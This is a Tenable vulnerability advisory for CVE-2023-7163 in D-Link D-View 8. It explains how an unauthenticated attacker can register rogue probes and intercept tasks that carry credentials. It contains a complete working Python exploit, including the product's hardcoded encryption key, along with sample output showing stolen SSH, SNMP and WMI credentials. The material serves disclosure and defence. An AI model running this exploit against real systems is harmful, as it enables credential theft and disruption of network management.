Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

D-Link D-View 8 Unauthenticated Probe-Core Server Communication

Critical

Synopsis

A security issue exists in D-Link D-View 8 v2.0.2.89 and prior that could allow an attacker to manipulate the probe inventory of the D-View service. This could result in the disclosure of info

An unauthenticated remote attacker can register a host of his/her choice as a Probe server by sending a 'probe-online' task to the Core server. The attacker can create many bogus, attacker-controlled Probe servers on the Core server, polluting the D-View 8 web UI and the underlying MongoDB collection DView8_Probe. If an attacker-controlled Probe server is used (i.e., for network discovery) by D-View 8 users, bogus device information can be sent to and stored on the Core server.  

A 'probe-online' task is sent by a Probe server to the Core server periodically (i.e., every minute) to indicate its online status. The ID (probeId) of the Probe server is included in the task.

In addition, the attacker can fetch tasks destinated to existing, legitimate Probe servers. D-View 8 tasks are stored in the DView8_Task MongoDB collection. A Probe server periodically (i.e., every 10 seconds) fetches (from the Core server) a task destinated to it with matching criteria like probeId, taskStatus (i.e., 8) and time (i.e., task updated within the last 15 minutes). If the attacker knows the probeId of a legitimate Probe server, s/he can fetch a task for the legitimate Probe before it does by fetching more frequently (i.e., every 2 seconds). It does so by sending a 'request_task' task to the Core server with the probeId of the legitimate Probe server in it.  

The probeId used in D-View 8 is in the form of probe-<mac-address> (i.e., probe-11-22-33-44-55-66) if the Probe server is on a different host than the Core server. If the Probe server and the Core server are on the same host, the probeId is in the form of LocalProbe-<mac-address> (i.e., LocalProbe-11-22-33-44-55-66). An attacker on the same LAN as a legitimate Probe server can determine its probeId as the attacker can learn about the Probe server's MAC address via ARP.

D-View 8 tasks can contain sensitive information such as login credentials. For example, an 'add-discovery' task can contain SNMP and WMI credentials  used for scanning network devices. This task is initiated when a user logged into the D-View 8 Web server performs a manual network discovery or when a schedule (i.e., daily) to perform network discovery is run. The task is sent to a Probe server asking it to scan for network devices so that they can be managed by D-View 8.

Another task containing credentials is 'tool-cli'. This task is initiated when a user logged into the D-View 8 Web server tries to connect (i.e., SSH) to a discovered device. The login (i.e., SSH) credentials to the device is present in the task and thus the attacker would be able to grab that.

If the attacker fetches a task before the legitimate Probe server does, the task is not performed by the legitimate Probe server because the taskStatus has been updated after the fetch, resulting in a denial-of-service.

PoC:

// 
// Fetch tasks for an existing, legitimate Probe server
//
// User may need to initiate the 'tool-cli' and/or 'add-discovery'
// task multiple times for the PoC to see those tasks as it competes
// with a legitimate Probe server.
// 
// The probeId should be probe-<mac-address> where <mac-address> is the
// MAC address of the Probe server set up above. 
// i.e., probe-11-22-33-44-55-66 
python3 dview8_probe_server.py -c <core_server_ip> -p <probeId_of_an_existing_probe_server>
Sending 'request_task' to get a task for probeId <REDACTED>
[...]
Received from Core server:
{"taskId": "9e12e507-1cad-4ead-8c92-a9d3e0c00ca2", "probeId": "<REDACTED>", "taskType": "tool-cli", "taskStatus": "9", "executeTime": 1697563390383, "contextArray": {"userName": "admin", "pingType": "Cli", "pingTimes": 5, "hops": 0, "siteName": "lab", "networkId": "91301bac-8340-47c6-8a83-91cf296f5237", "ip": "<REDACTED>", "deviceType": null, "command": " ", "credit": {"port": 22, "timeout": 4, "userName": "root", "password": "<REDACTED>", "protocol": "SSH", "commandPrompts": [null, null], "test": false}, "bytes": 32, "wmiCredit": null, "cliCredit": null, "id": "824b2074-7f1a-44d0-adb8-00648c6ee400"}, "errorCode": 0, "createTime": 1697563390383, "updateTime": 1697563394228, "extTimestamp": 0, "handlerIds": []}
[...]
Sending 'request_task' to get a task for probeId <REDACTED>
Sending 'request_task' to get a task for probeId <REDACTED>
[...]
Received from Core server:
{"taskId": "2eb539d0-6661-4e8d-9c62-39bd61cebb8e", "businessId": "91301bac-8340-47c6-8a83-91cf296f5237", "probeId": "<REDACTED>", "taskType": "add-discovery", "taskStatus": "9", "executeTime": 1697563721416, "expireTime": 1697564621400, "contextArray": {"networkId": "91301bac-8340-47c6-8a83-91cf296f5237", "networkName": "lab28", "siteId": "ec7b2da2-35e2-4d0d-8246-719c78c85146", "site": "lab", "taskId": "c748ccf3-5ce4-4936-8cf0-4b82c6e47fd6", "probeId": "<REDACTED>", "discoveryScope": {"discoveryMethod": "range", "discoveryRanges": [{"rangeId": "M6mHHjFxWp", "type": "ipRange", "value": "<REDACTED>~<REDACTED>", "ipProtocol": "ipv4", "ip": null, "cidr": null, "ipRange": {"startIp": "<REDACTED>", "endIp": "<REDACTED>"}, "csvFile": null, "credits": [{"creditId": "280a0d5b-10f6-4afe-8780-b13a4399df0d1561514223173", "authenticationType": "snmpv1", "name": "SNMP v1 default", "description": "SNMP v1 default credential", "port": 161, "timeout": 3, "writeCommunity": "private", "readCommunity": "public", "userName": "", "password": "", "retry": 1, "createTime": 1561514223000, "updateTime": 1585307675366, "shard": true, "userId": "PublicID", "test": false}, {"creditId": "f0e9623a-c45a-4c05-b9a8-e0188dd208391557300378757", "authenticationType": "snmpv2c", "name": "SNMP v2c default", "description": "SNMP v2c default credential", "port": 161, "timeout": 3, "writeCommunity": "private", "readCommunity": "public", "nonRepeaters": 0, "maxRepeaters": 10, "retry": 1, "createTime": 1557300378000, "updateTime": 1585307670080, "shard": true, "userId": "PublicID", "test": false}, {"creditId": "fbfc4430-c07e-42ac-9fe1-86b069f02ef81697227021901", "authenticationType": "snmpv3", "name": "snmpv3_creds", "description": "", "port": 161, "timeout": 4, "userName": "snmp_user", "mode": "AuthPriv", "context": "", "authAlgorithm": "MD5", "authPassword": "auth_passwd", "privacyAlgorithm": "DES", "privacyPassword": "priv_passwd", "nonRepeaters": 0, "maxRepeaters": 10, "retry": 3, "createTime": 1697227021967, "updateTime": 1697227021967, "shard": false, "userId": "59171d56-e6b4-4789-90ff-a7a27fd48548", "test": false}], "wmiCredits": [{"id": "5dd42673-0190-4149-ad9d-ab1771c2bb2b", "name": "wmi_creds", "type": "WMI", "userName": "wmi_user", "password": "wmi_passwd", "domain": "domain_name", "description": "", "updateTime": 1697227104695, "shard": false, "userId": "59171d56-e6b4-4789-90ff-a7a27fd48548"}]}], "ignoreIps": null}, "recurrent": true, "immediatelyExecute": false, "specificDatestamp": 1697255280000, "scheduleId": "kKMhAWMfjiQemhDcer", "ipCount": 2, "autoManaged": true, "pingValid": true}, "errorCode": 0, "createTime": 1697563721416, "updateTime": 1697563723299, "extTimestamp": 0, "handlerIds": []}
[...]
Sending 'request_task' to get a task for probeId <REDACTED>
Sending 'request_task' to get a task for probeId <REDACTED>
[...]
Received from Core server:
{"taskId": "4f9f855a-fec9-4854-9c2f-81452ca4b4ba", "probeId": "<REDACTED>", "taskType": "coreserver-ack-probe-online", "taskStatus": "9", "contextArray": "2.0.2.89:CanUseProbe:2.0.2.89", "errorCode": 0, "createTime": 1697564341535, "updateTime": 1697564341881, "extTimestamp": 0}
[...]
//
// Register a new Probe server with the Core server
//
python3 dview8_probe_server.py -c <core_server_ip> -p <arbitrary_probeId> --online
Sending 'request_task' to get a task for probeId MyProbeServer123
Sending 'probe-online' task, taskId: 1be50e05-42b7-4e4e-a31f-852ac0082854
Received from Core server:
{"taskId": "0ade3cdf-41da-4df6-9b06-8e4f23f0265a", "probeId": "MyProbeServer123", "taskType": "coreserver-ack-probe-online", "taskStatus": "9", "contextArray
": "2.0.2.89:CanUseProbe:2.0.2.89", "errorCode": 0, "createTime": 1697566922547, "updateTime": 1697566925554, "extTimestamp": 0}
Sending 'request_task' to get a task for probeId MyProbeServer123
Sending 'probe-online' task, taskId: f80404fc-4926-43ef-8155-97efbb6a099c
Received from Core server:
{"taskId": "3d5db6fd-bf23-4129-ac63-d57fd33c3b71", "probeId": "MyProbeServer123", "taskType": "coreserver-ack-probe-online", "taskStatus": "9", "contextArray
": "2.0.2.89:CanUseProbe:2.0.2.89", "errorCode": 0, "createTime": 1697566932586, "updateTime": 1697566932601, "extTimestamp": 0}
[...]
import sys, argparse, hexdump, requests, uuid
import json, time, zlib, socket
from threading import Thread
from base64 import b64encode, b64decode
from Crypto.Cipher import AES
from Crypto.Hash import SHA1
from Crypto.Util.Padding import pad, unpad
requests.packages.urllib3.disable_warnings()
def dump(title, data):
  print('[-- %s --]' % (title))
  hexdump.hexdump(data)
def encrypt(data, b64=True):
  key = get_key()
  cipher = AES.new(key, AES.MODE_ECB)
  out = cipher.encrypt(pad(data.encode(), AES.block_size))
  if b64: 
    out = b64encode(out).decode()
  return out
def decrypt(data, b64=True):
  if b64:
    data = b64decode(data)
  key = get_key()
  cipher = AES.new(key, AES.MODE_ECB)
  out = unpad(cipher.decrypt(data),AES.block_size).decode()
  return out
def get_key():
  keymat = 'dlink@888'.encode()
  d = SHA1.new(keymat).digest()
  key = SHA1.new(d).digest()[0:16]
  return key
def probe_online(coreIp, corePort, probeIp, probeId, interval):
  url = f'https://{coreIp}:{corePort}/dview8/core/result'
  taskType = 'probe-online'
  updateTime = int(time.time())
  resultArray = f'{{"probeId":"{probeId}","probeName":"{probeIp}","ip":"{probeIp}","coreServerIp":"{coreIp}","port":17600,"sysDescription":"mySystem","location":"NA","associationCode":"NA","cpuUsage":46.89320388349515,"memoryUsage":84.43184088712258,"diskUsage":30.511795755587347,"currentRxTraffic":5000,"currentTxTraffic":6000,"osName":"Windows Server 2019","managedDeviceCount":50,"canManagedDeviceCount":512,"discoverDeviceCount":60,"source":"DView8","updateTime":{updateTime},"trapListenStatus":"success","syslogListenStatus":"success","sflowListenStatus":"success","tftpListenStatus":"success","trapPort":162,"syslogPort":514,"sflowPort":6343,"tftpPort":69,"netflowListenStatus":"success","netflowPort":9996}}' 
  resultArray = b64encode(zlib.compress(resultArray.encode())).decode()
  while True:
    taskId = str(uuid.uuid4())
    print(f"Sending '{taskType}' task, taskId: {taskId}")
    task = {
      'taskId'        : taskId, 
      'probeId'       : probeId,
      'taskType'      : taskType,
      'taskStatus'    : '0',
      'resultArray'   : resultArray,
      'errorCode'     : 0,
      'createTime'    : int(time.time()),
      'extTimestamp'  : int(time.time()) + 1600
    } 
    data= json.dumps(task)
    data = encrypt(data)
    r = requests.post(url, data=data, verify=False, timeout=1)
    if r.text:
      print(f'\nReceived from Core server:\n{r.text}\n')
    time.sleep(interval)
def request_task(coreIp, corePort, probeIp, probeId, interval):
  url = f'https://{coreIp}:{corePort}/dview8/core/request'
  taskType = 'request_task'
  while True:
    taskId = str(uuid.uuid4())
    print(f"Sending '{taskType}' to get a task for probeId {probeId}")
    task = {
      'taskId'        : taskId, 
      'probeId'       : probeId,
      'taskType'      : taskType,
      'taskStatus'    : '0',
      'errorCode'     : 0,
      'createTime'    : int(time.time()),
      'extTimestamp'  : 0 
    } 
    data= json.dumps(task)
    data = encrypt(data)
    r = requests.post(url, data=data, verify=False)
    if r.text:
      data = decrypt(r.text)
      j = json.loads(data) 
      if 'contextArray' in j:
        ca = zlib.decompress(b64decode(j['contextArray'])).decode()
        try: 
          ca = json.loads(ca)
        except: pass
        j['contextArray'] = ca 
        print(f'\nReceived from Core server:\n{json.dumps(j)}\n')
    time.sleep(interval)
#
# MAIN
#
descr = 'D-Link D-View 8 Probe server'
parser = argparse.ArgumentParser(description=descr, formatter_class=argparse.RawTextHelpFormatter)
required = parser.add_argument_group('required arguments')
required.add_argument('-c', '--coreIp',required=True, help='Core server IP')
required.add_argument('-p', '--probeId',required=True, help='probeId to use')
parser.add_argument('-P', '--port', type=int, default=17500, help='D-View 8 core server port, default: %(default)s')
parser.add_argument('-o', '--online', action='store_true',help='Repeatly sends a probe-online task to Core server')
args = parser.parse_args()
coreIp = args.coreIp
corePort = args.port
probeId = args.probeId 
online = args.online
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((coreIp, corePort))
probeIp = s.getsockname()[0]
s.close()
if online:
  t = Thread(target=probe_online, args=(coreIp,corePort,probeIp,probeId,10))
  t.daemon = True
  t.start()
request_task(coreIp,corePort,probeIp,probeId,1)

 

 

Solution

The vendor has not responded to disclosure attempts for this issue. As such, no vendor supplied patch or solution is available at the time of this writing.

Disclosure Timeline

November 13, 2023 - Tenable requests security contact from vendor.
November 20, 2023 - Tenable requests security contact from vendor.
November 27, 2023 - Tenable makes final request for a security contact from vendor.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2023-7163
Tenable Advisory ID: TRA-2023-43
CVSSv3 Base / Temporal Score:
10 / 10
CVSSv3 Vector:
AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Affected Products:
D-Link D-View 8 v2.0.2.89
Risk Factor:
Critical

Advisory Timeline

December 28, 2023 - Initial release.

Tenable Vulnerability Management

Formerly Tenable.io

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Formerly Tenable.io

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Tenable Vulnerability Management

Formerly Tenable.io

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Formerly Tenable.io

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Tenable Vulnerability Management

Formerly Tenable.io

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Formerly Tenable.io

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Try Tenable Web App Scanning

Formerly Tenable.io Web Application Scanning

Enjoy full access to our latest web application scanning offering designed for modern applications as part of the Tenable One Exposure Management platform. Safely scan your entire online portfolio for vulnerabilities with a high degree of accuracy without heavy manual effort or disruption to critical web applications. Sign up now.

Your Tenable Web App Scanning trial also includes Tenable Vulnerability Management and Tenable Lumin.

Buy Tenable Web App Scanning

Formerly Tenable.io Web Application Scanning

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

5 FQDNs

$3,578

Buy Now

Try Tenable Lumin

Visualize and explore your exposure management, track risk reduction over time and benchmark against your peers with Tenable Lumin.

Your Tenable Lumin trial also includes Tenable Vulnerability Management and Tenable Web App Scanning.

Buy Tenable Lumin

Contact a Sales Representative to see how Tenable Lumin can help you gain insight across your entire organization and manage cyber risk.

Try Tenable Nessus Professional Free

FREE FOR 7 DAYS

Tenable Nessus is the most comprehensive vulnerability scanner on the market today.

NEW - Tenable Nessus Expert
Now Available

Nessus Expert adds even more features, including external attack surface scanning, and the ability to add domains and scan cloud infrastructure. Click here to Try Nessus Expert.

Fill out the form below to continue with a Nessus Pro Trial.

Buy Tenable Nessus Professional

Tenable Nessus is the most comprehensive vulnerability scanner on the market today. Tenable Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy a multi-year license and save. Add Advanced Support for access to phone, community and chat support 24 hours a day, 365 days a year.

Select Your License

Buy a multi-year license and save.

Add Support and Training

Try Tenable Nessus Expert Free

FREE FOR 7 DAYS

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Already have Tenable Nessus Professional?
Upgrade to Nessus Expert free for 7 days.

Buy Tenable Nessus Expert

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Select Your License

Buy a multi-year license and save more.

Add Support and Training